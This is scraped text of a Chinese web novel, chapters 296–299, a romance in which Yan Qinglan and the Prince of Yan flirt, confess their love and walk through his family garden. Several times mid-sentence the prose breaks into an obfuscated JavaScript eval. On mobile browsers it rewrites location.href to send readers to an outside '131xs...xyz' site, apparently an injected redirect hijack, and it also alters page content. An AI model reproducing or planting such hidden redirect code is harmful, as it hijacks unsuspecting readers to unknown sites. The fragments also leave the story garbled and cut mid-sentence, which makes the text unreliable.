晏清澜再也忍不住,爆发出一阵畅快淋漓的大笑。 她眉梢微挑,眼角上扬,语气中带着几分得意: “燕王殿下,这叫什么?这就叫乐极生悲。” 她故意拉长了声音,慢悠悠地说: “看来,幸灾乐祸也是要付出代价的。” 童玄珏彻底没了脾气,简直哭笑不得。 他怎么也没想到,这把火会烧到自己身上。 弯腰,他一把拎起还在他袍子上蹭来蹭去的暮雪,没好气地在它屁股上拍了一下: “我看你这小东西,这下真的废了。” 暮雪四只小爪子在空中胡乱扑腾,以示**。 晏清澜头疼地揉了揉眉心,从妆奁里翻出一条绣帕,无奈地把黑乎乎的小狐狸裹了起来。 还能怎么办?自己惹的祸,哭着也要收拾。 她叹了口气,瞧着这只装傻充愣的小狐狸,又抬头看了看童玄珏,没好气地说: “你,先出去。” 童玄珏耸了耸肩,表示无所谓。 话音刚落,他的身影便消失在了房间里,只留下淡淡的茶香,证明他来过。 晏清澜把裹成一团的暮雪交给守在门外的夏竹。 “带它去洗洗,仔细着些,别让它着凉。” 夏竹接过还在挣扎的小团子,又看了看晏清澜同样遭殃的裙摆,压根没多想,只以为是暮雪调皮,打翻了墨汁。 “这小祖宗,又给你惹麻烦了。” 她轻轻点了点暮雪的脑袋,抱着它离开了。 晏清澜有些心虚地摸了摸鼻子。 其实,这事儿还真不能怪暮雪。 待夏竹走远,她才转身回屋。 刚一进门,就见童玄珏已经把地上和桌上的墨迹都清理干净了。 他正大马金刀地坐在她之前坐的位置上,手里还端着一杯茶,正悠哉悠哉地品着。 他微微向后靠着椅背,抬眸看她,语气中带着几分戏谑: “说吧,我的衣服,你准备如何补偿?” 这小狐狸,分明就是故意的。 他躲是躲开了,可谁让暮雪这么不争气。 晏清澜双手一摊,笑得一脸无辜: “不如……我借你一身?” 她眨了眨眼,故意逗他: “我那儿什么款式都有,各式古风裙装琳琅满目……你喜欢哪种?” 她可没说谎,她的确很想看童玄珏穿女装的样子。 童玄珏这才明白,这小狐狸竟然还存着这种心思。 他一时之间,竟不知道是该气还是该笑。 他想,或许是他平日里对晏清澜太过纵容了。 窗外,微风拂过,吹动着青翠欲滴的竹叶,发出沙沙的声响,像是在低声诉说着什么。 童玄珏起身,一步步逼近晏清澜,将她困在自己和墙壁之间。 他低下头,在她耳边轻声说道,声音低沉而富有磁性,带着一丝危险的气息: “款式任我选?” “晏清澜,我是不是该给你点颜色瞧瞧?”“款式任我选?” 低沉的嗓音在耳边炸开,危险的气息扑面而来。 “晏清澜,我是不是该给你点颜色瞧瞧?” 温热的气息喷洒在耳畔,晏清澜却连眼皮都没动一下。 寻常女子若是被这般困在男子怀中,怕是早就羞得抬不起头,恨不得找个地洞钻了。 但晏清澜是何许人? 她是谁? 她是天不怕地不怕、最爱惹是生非的晏四姑娘! 面对童玄珏的“威胁”,晏清澜不仅不慌,反而变本加厉。 她那柔若无骨的手顺着童玄珏的腰线一路向下,最终停留在紧实的腹肌上,还隔着衣料轻轻戳了戳。 唇角微微勾起,一抹邪魅的笑意在眼底绽放。 她微微抬眸,眼波流转,声音娇媚得能滴出水来: “殿下这腰,真是好生让人羡慕,不知这腹肌……” 话音未落,手上的动作却没停。 嘶—— 童玄珏只觉得一股电流从晏清澜的手指传遍全身,让他忍不住绷紧了身子。 他猛地抓住晏清澜那只到处点火的手,手背上青筋暴起,清晰可见。 另一只手则扶住额头,只觉得一阵阵抽痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508241|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他强压下心头的火气,咬牙切齿地低吼: “晏清澜!” “你是真不把我当男人看,还是当我死的?” 晏清澜无辜地眨了眨眼,眼神清澈,语气天真。 “我自然是相信殿下的。” 她微微歪着头,似乎不明白童玄珏为何如此生气。 “殿下是出了名的正人君子,我自然是不担心的。” 晏清澜脸上写满了“信任”二字,仿佛在说一件再正常不过的事情。 可她心里想的却是—— 童玄珏若是真敢乱来,她定要让他知道,花儿为什么这样红! 她可不是什么任人欺负的小白花。 童玄珏被她这副理所当然的样子气得差点背过气去。 他一把甩开晏清澜的手,像是碰到了什么脏东西一般。 连退几步,与她拉开距离,仿佛她是瘟疫一般。 额头上的青筋跳得更厉害了,他觉得自己迟早要被这个女人气死。 童玄珏闭了闭眼,强迫自己冷静下来。 “我是不是正人君子,日后自见分晓。” 他冷哼一声,语气中带着一丝咬牙切齿的意味。 “但我现在知道,我不该信你。” 晏清澜闻言,笑得更欢了,像是偷了腥的猫。 她晃了晃脑袋,一副无赖的样子。 “我可从未标榜自己是什么好人。” 她瞥了一眼童玄珏劲瘦的腰身,目光闪烁,心里暗自盘算: 先前竟没注意到,他身材这般好。 四年前扒他衣服的时候,只顾着看他那张脸了。 哦,想起来了。 那时他浑身是血,实在没法好好欣赏。 可惜,可惜。 童玄珏给自己倒了杯茶,一饮而尽,试图浇灭心头的燥火。 他抬眸,看向晏清澜,眼神中带着一丝玩味。 “我知道,你惯会装模作样。” 他顿了顿,语气一转。 “不过,你刚才可是占了我的便宜。” 晏清澜也不否认,大大方方地承认了。 “没错,我就是想占点小便宜,你想怎样?” 她甚至还挑衅地往前走了一步,逼近童玄珏。 “腰也摸了,腹肌也感受了……” 她的手指在空中虚点了两下,像是在回味。 “莫非,你还要我负责不成? 第二百九十六章 ” 晏清澜笑得像个刚调戏完良家子的女恶霸。 童玄珏看着她,突然笑了。 他单手撑着下巴,饶有兴致地看着晏清澜,眼中闪过一丝精光。 夕阳的余晖透过窗棂,洒在他身上,给他镀上了一层金色的光晕。 他看着晏清澜,眼神中带着一丝戏谑,还有一丝……无奈? 唇角微微上扬,勾勒出一个好看的弧度: “是啊,晏四姑娘,你把我便宜都占尽了……” 他故意停顿了一下,语气暧昧。 “四年前,你扒我衣服,将我看光,如今又……” 童玄珏微微眯起眼睛,打量着晏清澜。 “你说,本王的名节,是不是都毁在你手里了?” “……” 晏清澜脸上的笑容僵住了。 这人,怎么如此颠倒黑白? “童玄珏!” 她深吸一口气,努力让自己的声音听起来平静。 “你还要不要脸?” 罪魁祸首却是一脸无辜地看着她,似乎不明白她为何生气。 “晏四姑娘这是何意?” 语气温和,还带着一丝疑惑。 “我只是在陈述事实。” 他顿了顿,语气一转。 “莫非,你想抵赖?” “我何时……”晏清澜刚想反驳。 童玄珏便打断了她的话头。 “这样吧,我也不为难你。” 他慢悠悠地开口,语气中带着一丝施舍的意味。 “你既不愿负责,那便算了。” 晏清澜刚松了一口气,就听见他继续说道: “只是我这人,素来注重名节。如今被你这般……传出去,我怕是没脸见人了。” 童玄珏叹了口气,一副受了天大委屈的模样。 “为了我的清誉,我只能去宫里讨个说法了。” 他一边说着,一边用手指了指自己那张俊美无瑕的脸。 “实不相瞒,我这张脸,除了我未来的夫人,旁人是看不得的。” “可你偏偏让我摘了面具……” 童玄珏皱着眉头,一脸纠结。 他觉得自己牺牲很大。 “既然如此,为了我的名声,我只能委屈自己,娶你进门了。” 他看着晏清澜,眼神中带着一丝“勉为其难”的意味。 晏清澜看着他自导自演,只觉得一阵无语。 她翻了个白眼,身子向后一靠,直接瘫在了椅子上。 “童玄珏,四年前,我那是救你!” 她强调道,语气中带着一丝咬牙切齿的意味。 “至于方才,不过是玩笑罢了,你还当真了?” 童玄珏闻言,嘴角的笑意更深了。 他等的就是这句话。 他故作惊讶地挑了挑眉, “哦?原来是我误会了?” 他摸了摸下巴,若有所思。 “刚刚你不是说我是个老实人吗……” 童玄珏看向晏清澜,眼神中带着一丝戏谑。 “我这人,向来听劝。既然是个规规矩矩的人,自然不能做那等始乱终弃之事。” 他顿了顿,语气一转。 “更何况,你可是我的大恩人啊,我更不能辜负了你。” 晏清澜算是看出来了,这人就是故意曲解她的话。 她冷笑一声,眼神中带着一丝嘲讽。 “你这哪里是报恩,分明是报仇!” 童玄珏微微一笑,不置可否。 他微微倾身,靠近晏清澜, “我倒是觉得,我们很般配。” 晏清澜不理会他的调笑,她端起茶杯,轻轻吹了吹,抿了一小口。 “你想娶我?” 她抬眸,看向童玄珏,眼神中带着一丝审视。 “光长得好看,可不够。” 童玄珏点点头,表示赞同。 “除了这张脸,我还有些别的。” 他语气平淡,像是在说一件微不足道的事情。 “比如,家产还算丰厚。” 晏清澜不为所动。 “我不缺钱。” 童玄珏也不意外,他继续说道: “再比如,文韬武略,也还算过得去。” 晏清澜瞥了他一眼,心中暗自吐槽: 这叫过得去? 那些丧命在他手上的人,怕是死不瞑目。 她无聊地把玩着自己的头发,一手托着腮帮子,一副兴致缺缺的样子。 “就算这些都过关,我爹娘那一关,你过不去。” 晏清澜挑了挑眉,眼神中带着一丝挑衅。 “你现在去将军府提亲,看他们会不会把你打出来。” 她就不信童玄珏真敢去。 童玄珏也明白这一点。 他叹了口气,揉了揉眉心。 “看来,想娶你,确实不易。” 他在京城是出了名的恶人,没人愿意把女儿嫁给他。 除非傅清霁和厉宗玉疯了,才可能答应这门亲事。 可他现在想改过自新也来不及了。 晏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16508242|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清澜看着他,突然开口: “你若现在放弃,还来得及。” 童玄珏笑了。 他知道晏清澜的意思。 可他怎么可能放弃? 绝不可能! 他懒洋洋地开口: “我知道前路艰难,但我这人,最喜欢挑战。” 他看着晏清澜,眼神坚定。 他喜欢的姑娘,自然不是寻常人,想娶她,自然要费一番功夫。 晏清澜看着童玄珏,眼神复杂。 她沉默了片刻,突然开口,声音低沉而严肃: “童玄珏,你可想清楚了。我这人,脾气不好,心眼又小,容不得人。” “你若是娶了我,这辈子就只能有我一个。若是你敢纳妾……” 晏清澜抬眸,直视着童玄珏的眼睛,眼神中带着一丝警告。 “我会让你后悔来到这世上。”“一次不忠,百次不用。” 晏清澜眼皮都没抬,只拿余光淡淡扫了童玄珏一眼。 “我向来不屑和其他女人撕逼。” 她轻嗤一声,手支着下巴,指尖无意识地摩挲着。 “你当我是钱雅芝?只会跟那些上不得台面的妾室计较?” “杀了那些女人有什么用?” 她冷笑,语气里带着一丝嘲讽。 “源头不解决,杀再多也没用。” 钱雅芝,是她那位名义上的嫡母,最擅长什么把戏,晏清澜清楚得很。 不过就是仗着正室的身份,磋磨丈夫那些莺莺燕燕。 可那又如何? 一个又一个小妾倒下了,晏明远还不是照样纳妾收人? 如今那位得宠的仲姨娘,可不就是狠狠地打了钱雅芝的脸? 想到这儿,晏清澜心里更烦了。 童玄珏听了这话,微微颔首。 他唇角一勾,似笑非笑。 “我本想一辈子当单身狗,” 他缓声道,声音低沉而富有磁性。 “直到你的出现打破了我的计划。” 他微微倾身,靠近了些。 压迫感迎面而来。 “所以,你不必担心我会觉得澜王府孤寂冷清,我本性宅得很。” 在遇到她以前,他从不觉得澜王府空荡。 如今,他依然不爱热闹。 只是遇见了她,他才明白,有些喧嚣,他并不排斥。 晏清澜没吭声,既没说信,也没说不信。 刚开始的时候,谁不是满口甜言蜜语? 只是未来的事,谁又能说得准? 第二百九十七章 那些曾经爱得死去活来,最后却反目成仇的,还少吗? 现在说这些,都太早了,没意思。 童玄珏端起茶盏,轻轻抿了一口。 其实他一直都在偷偷打量晏清澜。 他清楚她根本不相信这些。 可又能怎么办呢? 说得再漂亮,不如做得漂亮。 晏清澜的目光落在了童玄珏身上。 眼前的白袍公子,眼神清澈,坦坦荡荡。 唇角虽然带着笑,却让人觉得他说的都是真的。 她垂眸,低头欣赏着自己粉嫩的美甲,手指无意识地抠着指甲边缘。 视线一转,落在他袍角的那一大片墨渍上。 那墨渍,怎么看怎么碍眼。 她叹了口气,从旁边取过一件靛青色的锦衣,扔给了他。 “这件你先穿着吧。” 她随口说道,语气淡淡。 “之前给大哥定做的衣裳,他嫌颜色太老气,一直放在我这儿。” 童玄珏接过衣裳,并没有直接穿上,而是挑眉看向晏清澜。 “看着我做什么?让你穿就穿。” 晏清澜被他看得有些不自在。 童玄珏意味深长地笑了笑。 “你盯着我,我怎么换?” 他语气中带着一丝调侃, 晏清澜翻了个白眼,转过身去。 “换吧,我不看。” 身后传来窸窸窣窣的声音,像是微风拂过树叶。 童玄珏低沉的嗓音响起,带着一丝笑意。 “其实,你可以看。” “看了,可别不认账。” 晏清澜轻嗤一声,头也没回。 “不就是换件外衫?有什么好看的?” “难不成你还能脱光了?” 她撇了撇嘴,语气中带着一丝不屑。 童玄珏已经换好了外衫,慢悠悠地走到她身后。 他伸手,轻轻捏了捏晏清澜的脸颊。 这个动作,让两人之间的距离瞬间拉近,暧昧的气息在空气中蔓延。 “我记得,有人可是连我穿戴整齐的样子都忍不住动手动脚,” 他低下头,在她耳边轻声说道,语气中带着一丝戏谑。 “这要是再少穿点……” 晏清澜的脸颊腾地一下红了,一直红到了耳根。 她恼羞成怒地拍开他的手,眼神闪躲。 “胡说八道什么!我什么时候……” 她咬了咬唇,强词夺理。 “我那是……那是……” “那是什么?” 童玄珏步步紧逼,眼神灼灼地看着她。 晏清澜被他看得心慌意乱,干脆破罐子破摔。 “我那是……欣赏!对,就是欣赏!” 她抬起头,努力让自己看起来理直气壮。 “欣赏?” 童玄珏轻笑一声,似乎对这个说法很感兴趣。 “那你倒是说说,欣赏我什么?” 他伸手,轻轻挑起她的一缕发丝,在指尖缠绕。 晏清澜的身体微微僵硬,她深吸一口气,强迫自己冷静下来。 “欣赏你……长得好看,行了吧!” 她瞪了他一眼,没好气地说道。 童玄珏似乎对这个答案很满意,他点了点头,唇角微微勾起。 “嗯,这个理由,我接受。” 他顿了顿,又补充道。 “不过,晏四姑娘的眼光,确实不错。” 晏清澜被他夸得有些不自在,她轻咳一声,别过头去。 “少自恋了,我可没夸你。” 童玄珏笑了笑,没有再说什么。 他低头看着身上的衣裳,突然开口。 “这衣裳,不是成衣铺做的吧?” 晏清澜心里咯噔一下,她没想到他会注意到这个细节。 “你怎么知道?” 她下意识地问道。 童玄珏伸手抚平衣裳上的褶皱,语气淡淡。 “这料子,是上好的云锦缎,一般的成衣铺可没有。” 他抬起头,看向晏清澜,眼神中带着一丝探究。 “而且,这衣裳上,没有绣花。” 他顿了顿,又补充道。 “以晏四姑娘的女红,应该不至于连个花都不会绣。” 晏清澜被他一连串的分析说得哑口无言。 她没想到,自己的一时疏忽,竟然让他看出了这么多破绽。 她有些懊恼地咬了咬唇,索性承认了。 “好吧,我承认,这衣裳是我亲手做的。” 她抬起头,看向童玄珏,眼神坦然。 “本来是想给你个惊喜,没想到被你发现了。” 童玄珏看着她,眼神中闪过一丝笑意。 他伸手,轻轻刮了一下她的鼻子。 “傻丫头,想给我东西,直接说就是了。” 他顿了顿,语气变得温柔起来。 “我虽然喜欢惊喜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512245|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但更想听你亲口告诉我。” “有些事,你不说,这谁能想得到啊?” 晏清澜的心跳漏了一拍,她看着童玄珏,一时间竟不知道该说什么才好。 她一直都觉得,行动比言语更重要。 可童玄珏的话,却让她意识到,有些时候,言语也是必不可少的。 她垂下眼眸,轻轻点了点头。 “我知道了。” 童玄珏看着她,眼神温柔如水。 他伸手,将她揽入怀中,轻轻拥抱。 “以后,有什么事,都要告诉我,好吗?” 他的声音低沉而温柔,像春风一样拂过她的心田。 晏清澜靠在他的怀里,感受着他的心跳,轻轻点了点头。 “嗯。”“你早已付出一切,为什么不说?” 童玄珏的声音很轻,带着笑,像一片羽毛,落在了晏清澜的心上,激起一阵微痒的涟漪。 “为陆家鞠躬尽瘁的人是你,却总是藏得严严实实。” 他顿了顿,似乎在等晏清澜的回应。但晏清澜只是垂着眼,长长的睫毛像把小扇子,遮住了眼底的神色。 “当年宋溪溪险些被玄蛇所伤,厉家军中出了内鬼,这些事,背后都有弃太子的影子。” 童玄珏继续说着,语气平淡得像是在拉家常。 晏清澜搁在腿上的手,微微收紧。指尖轻掐着掌心,提醒她保持清醒。 “你私下里摸清了实情,”童玄珏微微俯身,靠近晏清澜,“也知道弃太子拉拢不成,恼羞成怒,想毁了陆家。” 他停下来,看着晏清澜,眼神专注。 “你花了四年,让弃太子去见了那条死在你**下的玄蛇,为你出了这口气。” 童玄珏声音压低了些,话里带着一丝难以察觉的赞赏。 “不止当年。为了陆家的将来,你如今也在暗中谋划。你殚精竭虑至此,却一个字也不愿跟他们透露。” “你……”晏清澜猛地抬起头,眼神复杂,像一汪深潭,让人看不透。 她想说些什么,可话到了嘴边,又变成了一声几不可闻的叹息。 她以为自己做得密不透风,除了自己,再没人知道。 可童玄珏……他竟然都知道。 晏清澜脸色变了几变,最终,只剩下一句: “你知道的,倒是不少。” 语气平淡,听不出情绪。但她紧绷的身体,却泄露了内心的波澜。 她不是没想过,童玄珏或许不简单。 第二百九十八章 只是没想到,他竟能这般轻易地,揭开自己深藏的秘密。 这样的人…… 晏清澜眼神里多了几分警惕。 若与他为敌,该有多麻烦? 仿佛察觉到了她的防备,童玄珏伸手将她揽进怀里,下巴抵在她的肩窝。 “别怕,我没有恶意。”他轻声说,像是在安抚一只受惊的小兽。 “我只是……”童玄珏的声音里带上了一丝委屈,“只是想让你知道,在我面前,你不必这般小心。” “你做了什么,喜欢什么,不喜欢什么,都可以告诉我。” “我……”童玄珏的声音低了下去,“有时也会猜不透你在想什么。” 晏清澜愣了愣。 她抬眼,看着童玄珏的眼睛。 他的眼神很认真,认真到让她有些慌乱。 半晌,她轻轻叹了口气: “你又何必妄自菲薄?这世上,怕是没人比燕王殿下更聪明了。” “旁人知道的,你知道;旁人不知道的,你也知道。” 晏清澜的语气里带上了一丝无奈。 “在你面前,我所有的心思都无处可藏。” 童玄珏听了,却只是笑了笑。他收紧了手臂,像是要把她嵌进身体里。 “我并非无所不知。”他低声说,语气里带着一丝莫名的情绪,“至少,有一件事,我便弄不明白。” 他顿了顿,眼神专注地看着晏清澜。 “我心悦你,这件事你早就知道。” “可你……”童玄珏的声音里多了一丝不确定,“你对我,究竟是何感觉?” 晏清澜的心,漏跳了一拍。 她看着童玄珏,一时竟不知该如何回答。 她以为,自己已经表现得很明显。 难道……还不够吗? “或许,是我还不够直接。”晏清澜深吸一口气,从童玄珏怀里挣开。 她站起身,与童玄珏四目相对。 “既然燕王殿下这般‘迟钝’,”晏清澜微微一笑,眼里闪着光,“那我不妨说得再明白些。” 她上前一步,主动扑进童玄珏怀里。 仰起头,对上他深邃的眼眸。 “童玄珏,”晏清澜一字一顿地说,声音里带着一丝戏谑,却又无比认真,“我心悦于你。” 童玄珏怔住了。 他怔怔地看着眼前的女子,一时间竟有些反应不过来。 乌发如云,肌肤如雪,眉眼间带着一丝灵动,明媚得让人移不开眼。 她说,童玄珏,我心悦于你。 晏清澜看着童玄珏呆愣的样子,嘴角的笑意更深。 “你说的对,在你面前,我也不必遮遮掩掩了。” 她伸手,轻轻抚上童玄珏的脸颊。 “所以,燕王殿下,”晏清澜的声音很轻,却清晰地传进童玄珏耳中,“现在,你明白了吗?” 话音未落,童玄珏便猛地将她抱紧。 力道很大,像是要把她揉进自己的骨血。 晏清澜的脸紧贴着童玄珏的胸膛,能清晰地感受到他胸腔里“砰砰”的心跳声。 “别骗我。”童玄珏的声音在她头顶响起,带着一丝颤抖。 晏清澜刚想开口,又被他打断。 “若是骗我……”他的声音低沉沙哑,“那就骗我一辈子。” “别像那些人一样,许下了诺言,转眼就反悔。” “让我在每个该团圆的日子,只能一个人,对着满城灯火,看旁人欢笑。” 他这一生,经历了太多背叛。 他不想再经历一次。 晏清澜的心,像是被什么东西狠狠地撞了一下。 她伸手,紧紧回抱住童玄珏。 “好。”她轻声说,语气坚定,“我答应你。” “不过……”晏清澜抬起头,看着童玄珏,故意板起脸,凶巴巴地说,“我这人最是见异思迁,你这张脸可得给我保养仔细了。” “哪天要是长了褶子,我可就不喜欢你了。” 童玄珏闻言,忍不住笑出声。 他伸手,捏了捏晏清澜的鼻子。 “你呀……”他语气宠溺,“真是个小没良心的。” 他顿了顿,又故意逗她:“若我真老了,你当如何?” 晏清澜眨了眨眼,笑得狡黠。 “你忘了?我可是学医的。” “旁的不敢说,给你开几副养颜的方子,还是不在话下。” “保准让你鹤发童颜,老当益壮。” 童玄珏被她逗得哈哈大笑。 “如此说来,我倒是要更努力些,免得四姑娘移情别恋。” 晏清澜从他怀里探出头,笑眯眯地看着他:“旁人想得美,你么,我倒是可以考虑考虑。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512246|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >童玄珏低头,在她额头上落下一吻,动作轻柔。 “旁人不敢,唯有你。”他轻声说,“这世上,还有什么事是你晏清澜不敢的?” 晏清澜笑而不语,只是把头埋进他怀里。 余晖透过窗棂,在室内洒下一片金色的光晕。 窗台上,那盆白菊在夕阳下,更显娇艳。 童玄珏牵着晏清澜的手,目光落在她裙摆上那片干涸的墨渍。 “说起来,倒是要感谢暮雪这鬼机灵。”他勾起唇角,眼神温柔。 “若不是这身衣裳,我还不知……”他看向晏清澜,眼神明亮,“你竟这般早就对我……” 他故意拉长了语调,没有把话说完。 晏清澜看着童玄珏的眼睛,那双深邃的眸子,像是要把人的魂魄吸进去。 她低下头,看着两人交握的手,缓缓开口: “我原本……”她顿了顿,“是想再等一等的。” “等你彻底看清我,再决定要不要继续。” 童玄珏静静地听着,没有插话。 “可后来我发现,你老早就门儿清了。”晏清澜抬起头,看着童玄珏,眼神坦然,“既然如此,我便不必再等了。” 童玄珏笑了笑,将她的手握得更紧。 “这么说,”他缓缓开口,声音低沉而温柔,“我还要感谢我自己?” 晏清澜斜睨了他一眼,嘴角微微上扬。 “感谢倒是不必,”她轻哼一声,“顶多……算你自作自受。” 她原本以为,喜欢这两个字,说出口会有千斤重。 可如今,对着童玄珏,说出来竟是这般轻松。“让我们去一个秘密基地。” 童玄珏声音低沉,带着一丝不易察觉的温柔。他伸手,轻轻地替晏清澜理了理鬓边被风吹乱的发丝。 明明已是深秋,他眼底的光,却比春日的阳光还要明媚几分。 晏清澜抬眸,清澈的目光落在他俊朗的脸上,等着他继续说下去。 “不过嘛……”童玄珏微微一顿,视线扫过她裙摆上那片晕染开的墨迹,唇角勾起一抹浅笑,“在那之前,你是不是该先去换身衣裳?” 晏清澜顺着他的目光低头,这才发现裙摆上的狼藉,白皙的脸颊上泛起一抹淡淡的红晕。 “那我……先去换身衣裳,你且等我一会儿。” 她说着,便要转身回房。 第二百九十九章 “咳……”童玄珏轻咳一声,目光看似随意地飘向窗外,声音却清晰地传入她的耳中,“无妨,你换便是。” 晏清澜脚步一顿,有些疑惑地看向他。见他目光并未看向自己,这才明白过来,他这是……不打算回避了? 思及此处,她心跳微微加快。 她从箱笼里取出一套干净的衣裙,一条荼白色绣着梅花的百迭裙,身上穿着一件青色系带长衫,金色桂花点缀其上。 虽然只是换了外衫,但颜色款式与之前那套截然不同,倒像是换了个人似的。 “好了。” 窸窸窣窣的声音停歇,晏清澜轻声说道。 童玄珏缓缓转过身,目光落在她的身上,微微一怔。 他一直都知道晏清澜生得极美,却没想到,她竟能将这两种截然不同的风格,驾驭得如此完美。 明艳的衣裙,衬得她如朝霞般绚烂;素雅的衣裙,又让她如冬雪般清冷。 而此刻,她就站在他的面前,两种气质完美地融合在一起,让人移不开目光。 两人并肩而立,一个俊朗挺拔,一个清丽脱俗,当真是说不出的般配。 天边的晚霞,像是打翻了胭脂的调色盘,将天空染成一片绚丽的橘红色。 穿过曲折的回廊,两人来到了澜王府的后花园。 还未走近,便闻到一阵浓郁的桂花香气。 晏清澜在一块青石上坐下,几片金黄色的桂花,随着微风轻轻飘落,停留在她的发梢和肩头。 童玄珏静静地看着她,唇角不自觉地上扬。 他本以为这后园早已荒废,没想到,竟还保持着当年的模样。 金桂开得正盛,空气中弥漫着甜腻的香气。 几株高大的橘子树上,挂满了沉甸甸的果实,金灿灿的,在夕阳的映照下,像一颗颗小小的太阳。 一旁的葡萄架上,也挂满了一串串紫色的葡萄,圆润饱满,晶莹剔透。 阳光透过枝叶的缝隙,在地面上投下斑驳的光影,空气中弥漫着果实的甜香和桂花的幽香。 晏清澜伸手,摘下一颗橘子,在手中掂了掂。 与浮萍居那些酸涩的果子不同,这里的橘子已经完全成熟了。 轻轻剥开橘皮,一股清甜的香气扑鼻而来。 她掰下一瓣,放入口中,轻轻一咬,酸甜的汁水瞬间溢满口腔。 这味道,让她想起夏日傍晚的凉风,带着一丝丝沁人心脾的甜意。 童玄珏走到她身旁,微微俯身,目光与她平齐,视线却落在她手中的橘子上,嘴角微微上扬,露出一个意味深长的笑容。 “这橘子……” “很甜。” 晏清澜咽下口中的果肉,笑眯眯地说。 童玄珏却不说话,只是看着她,目光灼灼。 晏清澜被他看得有些不自在,她眨了眨眼,将手中的橘子递到他面前: “殿下想吃?” 童玄珏依旧没有伸手去接,只是微微挑了挑眉,示意她继续。 晏清澜无奈,只好又掰下一瓣橘子,送到他的唇边。 “殿下尝尝?” 童玄珏看着她,眼神深邃,嘴角噙着一抹淡淡的笑意。 他缓缓张口,含住了那瓣橘子。 “嗯,味道不错。” 他慢条斯理地嚼着,似乎在品尝什么珍馐美味。 晏清澜见他吃得香甜,自己也忍不住又吃了一瓣。 “这橘子,是殿下种的吗?” 她一边吃,一边问道。 “不是。” 童玄珏摇了摇头。 “这是父王和母妃还在的时候,种下的。” 晏清澜一愣,没想到这橘子树,竟然还有这样的来历。 她转头,看向那几株高大的橘子树,眼神中多了一丝敬意。 “那殿下……” 她刚想问些什么,却见童玄珏又剥了一瓣橘子,递到了她的唇边。 她微微一怔,随即笑着张口,将橘子吃了下去。 两人就这样,你一瓣,我一瓣,将一颗橘子分食干净。 远处,尤戟将这一幕尽收眼底,只觉得一阵牙酸。 他默默地转过身,背对着两人,从怀中掏出一颗野果,狠狠地咬了一口。 咔嚓—— 酸涩的汁水在口中爆开,刺激得他浑身一哆嗦。 他忍不住打了个寒颤,自言自语道: “这大冷天的,吃什么橘子……也不知道甜不甜……” 他一边说着,一边将手中的野果扔掉,又从怀中掏出一块干粮,默默地啃了起来。 身为澜王府第一暗卫,他早就习惯了孤独。 只是,看到主子和晏四姑娘如此亲密,他还是忍不住替主子感到高兴。 主子这些年,过得太苦了。 如今,终于有一个人,能让他露出这样真心的笑容。 希望,晏四姑娘能多陪主子一些时日吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521492|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤戟默默地祈祷着。 童玄珏和晏清澜吃完橘子,起身沿着园中的小路,慢慢地走着。 路过一片水池,两人停下脚步,仔细地清洗了双手。 夕阳西下,将天空染成一片绚丽的红色。 两人并肩站在桂花树下,静静地欣赏着这美丽的景色。 童玄珏转过头,看着晏清澜的侧脸,轻声问道: “这地方还不错吧?” 他声音很轻,带着一丝不易察觉的紧张。 晏清澜转过头,看着他,眼中闪烁着点点星光。 “喜欢。” 她笑着说。 “这里很美,很安静。” 童玄珏闻言,嘴角微微上扬,露出一抹欣慰的笑容。 “这里……是我小时候最喜欢的地方。” 他缓缓开口,声音中带着一丝怀念。 “那时候,父王和母妃还在,我们一家人,经常会在这里赏花,品茶,下棋……” 